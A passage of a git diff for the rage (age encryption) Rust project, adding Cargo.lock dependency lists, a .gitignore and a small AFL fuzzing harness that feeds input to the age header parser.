"registry+https://github.com/rust-lang/crates.io-index" +checksum = "b08be0f17bd307950653ce45db00cd31200d82b624b36e181337d9c7d92765b5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tinystr" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9117f5d4db391c1cf6927e7bea3db74b9a1c1add8f7eda9ffd5364f40f57b82f" +dependencies = [ + "displaydoc", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "type-map" +version = "0.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "deb68604048ff8fa93347f02441e4487594adc20bb8a084f9e564d2b827a0a9f" +dependencies = [ + "rustc-hash", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unic-langid" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "23dd9d1e72a73b25e07123a80776aae3e7b0ec461ef94f9151eed6ec88005a44" +dependencies = [ + "unic-langid-impl", +] + +[[package]] +name = "unic-langid-impl" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0a5422c1f65949306c99240b81de9f3f15929f5a8bfe05bb44b034cc8bf593e5" +dependencies = [ + "serde", + "tinystr", +] + +[[package]] +name = "unicode-ident" +version = "1.0.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e91b56cd4cadaeb79bbf1a5645f6b4f8dc5bde8834ad5894a8db35fda9efa1fe" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "walkdir" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "29790946404f91d9c5d06f9874efddea1dc06c5efe94541a7d6863108e3a5e4b" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "winapi-util" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cf221c93e13a30d793f7645a0e7762c55d169dbb0a49671918a2319d289b10bb" +dependencies = [ + "windows-sys 0.59.0", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm", + "windows_aarch64_msvc", + "windows_i686_gnu", + "windows_i686_gnullvm", + "windows_i686_msvc", + "windows_x86_64_gnu", + "windows_x86_64_gnullvm", + "windows_x86_64_msvc", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "x25519-dalek" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" +dependencies = [ + "curve25519-dalek", + "rand_core", + "serde", + "zeroize", +] + +[[package]] +name = "xdg" +version = "2.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "213b7324336b53d2414b2db8537e56544d981803139155afa84f76eeebb7a546" + +[[package]] +name = "zerocopy" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b9b4fd18abc82b8136838da5d50bae7bdea537c574d8dc1a34ed098d6c166f0" +dependencies = [ + "byteorder", + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.7.35" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa4f8080344d4671fb4e831a13ad1e68092748387dfc4f55e356242fae12ce3e" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "zeroize" +version = "1.8.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ced3678a2879b30306d323f4542626697a464a97c0a07c9aebf7ebca65cd4dde" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] diff --git a/lib/rage/fuzz-afl/Cargo.toml b/lib/rage/fuzz-afl/Cargo.toml new file mode 100644 index 0000000..edda503 --- /dev/null +++ b/lib/rage/fuzz-afl/Cargo.toml @@ -0,0 +1,14 @@ +[package] +name = "age-fuzz-afl" +version = "0.0.0" +authors = ["Jack Grigg "] +publish = false +edition = "2018" + +[dependencies] +afl = "0.15" +age = { path = "../age" } + +# Prevent this from interfering with workspaces +[workspace] +members = ["."] diff --git a/lib/rage/fuzz-afl/src/main.rs b/lib/rage/fuzz-afl/src/main.rs new file mode 100644 index 0000000..f0d0b9c --- /dev/null +++ b/lib/rage/fuzz-afl/src/main.rs @@ -0,0 +1,8 @@ +#[macro_use] +extern crate afl; + +fn main() { + fuzz!(|data: &[u8]| { + age::fuzz_header(data); + }); +} diff --git a/lib/rage/fuzz/.gitignore b/lib/rage/fuzz/.gitignore new file mode 100644 index 0000000..572e03b --- /dev/null +++ b/lib/rage/fuzz/.gitignore @@ -0,0 +1,4 @@ + +target +corpus +artifacts diff --git a/lib/rage/fuzz/Cargo.lock b/lib/rage/fuzz/Cargo.lock new file mode 100644 index 0000000..225219d --- /dev/null +++ b/lib/rage/fuzz/Cargo.lock @@ -0,0 +1,1233 @@ +# This file is automatically @generated by Cargo. +# It is not intended for manual editing. +version = 3 + +[[package]] +name = "aead" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d122413f284cf2d62fb1b7db97e02edb8cda96d769b16e443a4f6195e35662b0" +dependencies = [ + "crypto-common", + "generic-array", +] + +[[package]] +name = "age" +version = "0.11.0" +dependencies = [ + "age-core", + "base64", + "bech32", + "chacha20poly1305", + "cookie-factory", + "hmac", + "i18n-embed", + "i18n-embed-fl", + "lazy_static", + "nom", + "pin-project", + "rand", + "rust-embed", + "scrypt", + "sha2", + "subtle", + "x25519-dalek", + "zeroize", +] + +[[package]] +name = "age-core" +version = "0.11.0" +dependencies = [ + "base64", + "chacha20poly1305", + "cookie-factory", + "hkdf", + "io_tee", + "nom", + "rand", + "secrecy", + "sha2", +] + +[[package]] +name = "age-fuzz" +version = "0.0.0" +dependencies = [ + "age", + "age-core", + "cookie-factory", + "libfuzzer-sys", +] + +[[package]] +name = "arbitrary" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "64cf76cb6e2222ed0ea86b2b0ee2f71c96ec6edd5af42e84d59160e91b836ec4" + +[[package]] +name = "arc-swap" +version = "1.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "69f7f8c3906b62b754cd5326047894316021dcfe5a194c8ea52bdd94934a3457" + +[[package]] +name = "autocfg" +version = "1.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ace50bade8e6234aa140d9a2f552bbee1db4d353f69b8217bc503490fc1a9f26" + +[[package]] +name = "base64" +version = "0.21.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d297deb1925b89f2ccc13d7635fa0714f12c87adce1c75356b39ca9b7178567" + +[[package]] +name = "basic-toml" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "823388e228f614e9558c6804262db37960ec8821856535f5c3f59913140558f8" +dependencies = [ + "serde", +] + +[[package]] +name = "bech32" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d86b93f97252c47b41663388e6d155714a9d0c398b99f1005cbc5f978b29f445" + +[[package]] +name = "bitflags" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b048fb63fd8b5923fc5aa7b340d8e156aec7ec02f0c78fa8a6ddc2613f6f71de" + +[[package]] +name = "block-buffer" +version = "0.10.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3078c7629b62d3f0439517fa394996acacc5cbc91c5a20d8c658e77abd503a71" +dependencies = [ + "generic-array", +] + +[[package]] +name = "byteorder" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1fd0f2584146f6f2ef48085050886acf353beff7305ebd1ae69500e27c67f64b" + +[[package]] +name = "cc" +version = "1.1.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b9470d453346108f93a59222a9a1a5724db32d0a4727b7ab7ace4b4d822dc9" +dependencies = [ + "shlex", +] + +[[package]] +name = "cfg-if" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd" + +[[package]] +name = "chacha20" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3613f74bd2eac03dad61bd53dbe620703d4371614fe0bc3b9f04dd36fe4e818" +dependencies = [ + "cfg-if", + "cipher", + "cpufeatures", +] + +[[package]] +name = "chacha20poly1305" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10cd79432192d1c0f4e1a0fef9527696cc039165d729fb41b3f4f4f354c2dc35" +dependencies = [ + "aead", + "chacha20", + "cipher", + "poly1305", + "zeroize", +] + +[[package]] +name = "cipher" +version = "0.4.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad" +dependencies = [ + "crypto-common", + "inout", + "zeroize", +] + +[[package]] +name = "cookie-factory" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9885fa71e26b8ab7855e2ec7cae6e9b380edff76cd052e07c683a0319d51b3a2" +dependencies = [ + "futures", +] + +[[package]] +name = "cpufeatures" +version = "0.2.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "608697df725056feaccfa42cffdaeeec3fccc4ffc38358ecd19b243e716a78e0" +dependencies = [ + "libc", +] + +[[package]] +name = "crossbeam-utils" +version = "0.8.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "22ec99545bb0ed0ea7bb9b8e1e9122ea386ff8a48c0922e43f36d45ab09e0e80" + +[[package]] +name = "crypto-common" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1bfb12502f3fc46cca1bb51ac28df9d618d813cdc3d2f25b9fe775a34af26bb3" +dependencies = [ + "generic-array", + "typenum", +] + +[[package]] +name = "curve25519-dalek" +version = "4.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" +dependencies = [ + "cfg-if", + "cpufeatures", + "curve25519-dalek-derive", + "fiat-crypto", + "rustc_version", + "subtle", + "zeroize", +] + +[[package]] +name = "curve25519-dalek-derive" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "dashmap" +version = "6.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5041cc499144891f3790297212f32a74fb938e5136a14943f338ef9e0ae276cf" +dependencies = [ + "cfg-if", + "crossbeam-utils", + "hashbrown", + "lock_api", + "once_cell", + "parking_lot_core", +] + +[[package]] +name = "digest" +version = "0.10.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" +dependencies = [ + "block-buffer", + "crypto-common", + "subtle", +] + +[[package]] +name = "displaydoc" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "97369cbbc041bc366949bc74d34658d6cda5621039731c6310521892a3a20ae0" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "fiat-crypto" +version = "0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "28dea519a9695b9977216879a3ebfddf92f1c08c05d984f8996aecd6ecdc811d" + +[[package]] +name = "find-crate" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "59a98bbaacea1c0eb6a0876280051b892eb73594fd90cf3b20e9c817029c57d2" +dependencies = [ + "toml", +] + +[[package]] +name = "fluent" +version = "0.16.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb74634707bebd0ce645a981148e8fb8c7bccd4c33c652aeffd28bf2f96d555a" +dependencies = [ + "fluent-bundle", + "unic-langid", +] + +[[package]] +name = "fluent-bundle" +version = "0.15.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fe0a21ee80050c678013f82edf4b705fe2f26f1f9877593d13198612503f493" +dependencies = [ + "fluent-langneg", + "fluent-syntax", + "intl-memoizer", + "intl_pluralrules", + "rustc-hash", + "self_cell 0.10.3", + "smallvec", + "unic-langid", +] + +[[package]] +name = "fluent-langneg" +version = "0.13.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2c4ad0989667548f06ccd0e306ed56b61bd4d35458d54df5ec7587c0e8ed5e94" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "fluent-syntax" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2a530c4694a6a8d528794ee9bbd8ba0122e779629ac908d15ad5a7ae7763a33d" +dependencies = [ + "thiserror", +] + +[[package]] +name = "futures" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65bc07b1a8bc7c85c5f2e110c476c7389b4554ba72af57d8445ea63a576b0876" +dependencies = [ + "futures-channel", + "futures-core", + "futures-executor", + "futures-io", + "futures-sink", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-channel" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2dff15bf788c671c1934e366d07e30c1814a8ef514e1af724a602e8a2fbe1b10" +dependencies = [ + "futures-core", + "futures-sink", +] + +[[package]] +name = "futures-core" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f29059c0c2090612e8d742178b0580d2dc940c837851ad723096f87af6663e" + +[[package]] +name = "futures-executor" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e28d1d997f585e54aebc3f97d39e72338912123a67330d723fdbb564d646c9f" +dependencies = [ + "futures-core", + "futures-task", + "futures-util", +] + +[[package]] +name = "futures-io" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9e5c1b78ca4aae1ac06c48a526a655760685149f0d465d21f37abfe57ce075c6" + +[[package]] +name = "futures-macro" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "162ee34ebcb7c64a8abebc059ce0fee27c2262618d7b60ed8faf72fef13c3650" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "futures-sink" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e575fab7d1e0dcb8d0c7bcf9a63ee213816ab51902e6d244a95819acacf1d4f7" + +[[package]] +name = "futures-task" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f90f7dce0722e95104fcb095585910c0977252f286e354b5e3bd38902cd99988" + +[[package]] +name = "futures-util" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9fa08315bb612088cc391249efdc3bc77536f16c91f6cf495e6fbe85b20a4a81" +dependencies = [ + "futures-channel", + "futures-core", + "futures-io", + "futures-macro", + "futures-sink", + "futures-task", + "memchr", + "pin-project-lite", + "pin-utils", + "slab", +] + +[[package]] +name = "generic-array" +version = "0.14.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85649ca51fd72272d7821adaf274ad91c288277713d9c18820d8499a7ff69e9a" +dependencies = [ + "typenum", + "version_check", +] + +[[package]] +name = "getrandom" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4567c8db10ae91089c99af84c68c38da3ec2f087c3f82960bcdbf3656b6f4d7" +dependencies = [ + "cfg-if", + "libc", + "wasi", +] + +[[package]] +name = "hashbrown" +version = "0.14.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e5274423e17b7c9fc20b6e7e208532f9b19825d82dfd615708b70edd83df41f1" + +[[package]] +name = "hkdf" +version = "0.12.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7b5f8eb2ad728638ea2c7d47a21db23b7b58a72ed6a38256b8a1849f15fbbdf7" +dependencies = [ + "hmac", +] + +[[package]] +name = "hmac" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e" +dependencies = [ + "digest", +] + +[[package]] +name = "i18n-config" +version = "0.4.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e88074831c0be5b89181b05e6748c4915f77769ecc9a4c372f88b169a8509c9" +dependencies = [ + "basic-toml", + "log", + "serde", + "serde_derive", + "thiserror", + "unic-langid", +] + +[[package]] +name = "i18n-embed" +version = "0.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7839d8c7bb8da7bd58c1112d3a1aeb7f178ff3df4ae87783e758ca3bfb750b7" +dependencies = [ + "arc-swap", + "fluent", + "fluent-langneg", + "fluent-syntax", + "i18n-embed-impl", + "intl-memoizer", + "lazy_static", + "log", + "parking_lot", + "rust-embed", + "thiserror", + "unic-langid", + "walkdir", +] + +[[package]] +name = "i18n-embed-fl" +version = "0.9.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f6e9571c3cba9eba538eaa5ee40031b26debe76f0c7e17bafc97ea57a76cd82e" +dependencies = [ + "dashmap", + "find-crate", + "fluent", + "fluent-syntax", + "i18n-config", + "i18n-embed", + "lazy_static", + "proc-macro-error2", + "proc-macro2", + "quote", + "strsim", + "syn", + "unic-langid", +] + +[[package]] +name = "i18n-embed-impl" +version = "0.8.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f2cc0e0523d1fe6fc2c6f66e5038624ea8091b3e7748b5e8e0c84b1698db6c2" +dependencies = [ + "find-crate", + "i18n-config", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "inout" +version = "0.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a0c10553d664a4d0bcff9f4215d0aac67a639cc68ef660840afe309b807bc9f5" +dependencies = [ + "generic-array", +] + +[[package]] +name = "intl-memoizer" +version = "0.5.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fe22e020fce238ae18a6d5d8c502ee76a52a6e880d99477657e6acc30ec57bda" +dependencies = [ + "type-map", + "unic-langid", +] + +[[package]] +name = "intl_pluralrules" +version = "7.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "078ea7b7c29a2b4df841a7f6ac8775ff6074020c6776d48491ce2268e068f972" +dependencies = [ + "unic-langid", +] + +[[package]] +name = "io_tee" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b3f7cef34251886990511df1c61443aa928499d598a9473929ab5a90a527304" + +[[package]] +name = "lazy_static" +version = "1.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe" + +[[package]] +name = "libc" +version = "0.2.161" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9489c2807c139ffd9c1794f4af0ebe86a828db53ecdc7fea2111d0fed085d1" + +[[package]] +name = "libfuzzer-sys" +version = "0.1.0" +source = "git+https://github.com/rust-fuzz/libfuzzer-sys.git#35ce7d7177c254b9c798aec171dfe76877d1a20f" +dependencies = [ + "arbitrary", + "cc", +] + +[[package]] +name = "lock_api" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "07af8b9cdd281b7915f413fa73f29ebd5d55d0d3f0155584dade1ff18cea1b17" +dependencies = [ + "autocfg", + "scopeguard", +] + +[[package]] +name = "log" +version = "0.4.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7a70ba024b9dc04c27ea2f0c0548feb474ec5c54bba33a7f72f873a39d07b24" + +[[package]] +name = "memchr" +version = "2.7.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "78ca9ab1a0babb1e7d5695e3530886289c18cf2f87ec19a575a0abdce112e3a3" + +[[package]] +name = "minimal-lexical" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68354c5c6bd36d73ff3feceb05efa59b6acb7626617f4962be322a825e61f79a" + +[[package]] +name = "nom" +version = "7.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d273983c5a657a70a3e8f2a01329822f3b8c8172b73826411a55751e404a0a4a" +dependencies = [ + "memchr", + "minimal-lexical", +] + +[[package]] +name = "once_cell" +version = "1.20.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1261fe7e33c73b354eab43b1273a57c8f967d0391e80353e51f764ac02cf6775" + +[[package]] +name = "opaque-debug" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c08d65885ee38876c4f86fa503fb49d7b507c2b62552df7c70b2fce627e06381" + +[[package]] +name = "parking_lot" +version = "0.12.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1bf18183cf54e8d6059647fc3063646a1801cf30896933ec2311622cc4b9a27" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e401f977ab385c9e4e3ab30627d6f26d00e2c73eef317493c4ec6d468726cf8" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets", +] + +[[package]] +name = "pbkdf2" +version = "0.12.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f8ed6a7761f76e3b9f92dfb0a60a6a6477c61024b775147ff0973a02653abaf2" +dependencies = [ + "digest", + "hmac", +] + +[[package]] +name = "pin-project" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be57f64e946e500c8ee36ef6331845d40a93055567ec57e8fae13efd33759b95" +dependencies = [ + "pin-project-internal", +] + +[[package]] +name = "pin-project-internal" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3c0f5fad0874fc7abcd4d750e76917eaebbecaa2c20bde22e1dbeeba8beb758c" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "pin-project-lite" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "915a1e146535de9163f3987b8944ed8cf49a18bb0056bcebcdcece385cece4ff" + +[[package]] +name = "pin-utils" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" + +[[package]] +name = "poly1305" +version = "0.8.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8159bd90725d2df49889a078b54f4f79e87f1f8a8444194cdca81d38f5393abf" +dependencies = [ + "cpufeatures", + "opaque-debug", + "universal-hash", +] + +[[package]] +name = "ppv-lite86" +version = "0.2.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77957b295656769bb8ad2b6a6b09d897d94f05c41b069aede1fcdaa675eaea04" +dependencies = [ + "zerocopy", +] + +[[package]] +name = "proc-macro-error-attr2" +version = "2.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96de42df36bb9bba5542fe9f1a054b8cc87e172759a1868aa05c1f3acc89dfc5" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "proc-macro-error2" +version = "2.0.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11ec05c52be0a07b08061f7dd003e7d7092e0472bc731b4af7bb1ef876109802" +dependencies = [ + "proc-macro-error-attr2", + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "proc-macro2" +version = "1.0.89" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f139b0662de085916d1fb67d2b4169d1addddda1919e696f3252b740b629986e" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "quote" +version = "1.0.37" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b5b9d34b8991d19d98081b46eacdd8eb58c6f2b201139f7c5f643cc155a633af" +dependencies = [ + "proc-macro2", +] + +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha", + "rand_core", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom", +] + +[[package]] +name = "redox_syscall" +version = "0.5.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b6dfecf2c74bce2466cabf93f6664d6998a69eb21e39f4207930065b27b771f" +dependencies = [ + "bitflags", +] + +[[package]] +name = "rust-embed" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa66af4a4fdd5e7ebc276f115e895611a34739a9c1c01028383d612d550953c0" +dependencies = [ + "rust-embed-impl", + "rust-embed-utils", + "walkdir", +] + +[[package]] +name = "rust-embed-impl" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6125dbc8867951125eec87294137f4e9c2c96566e61bf72c45095a7c77761478" +dependencies = [ + "proc-macro2", + "quote", + "rust-embed-utils", + "syn", + "walkdir", +] + +[[package]] +name = "rust-embed-utils" +version = "8.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e5347777e9aacb56039b0e1f28785929a8a3b709e87482e7442c72e7c12529d" +dependencies = [ + "sha2", + "walkdir", +] + +[[package]] +name = "rustc-hash" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = 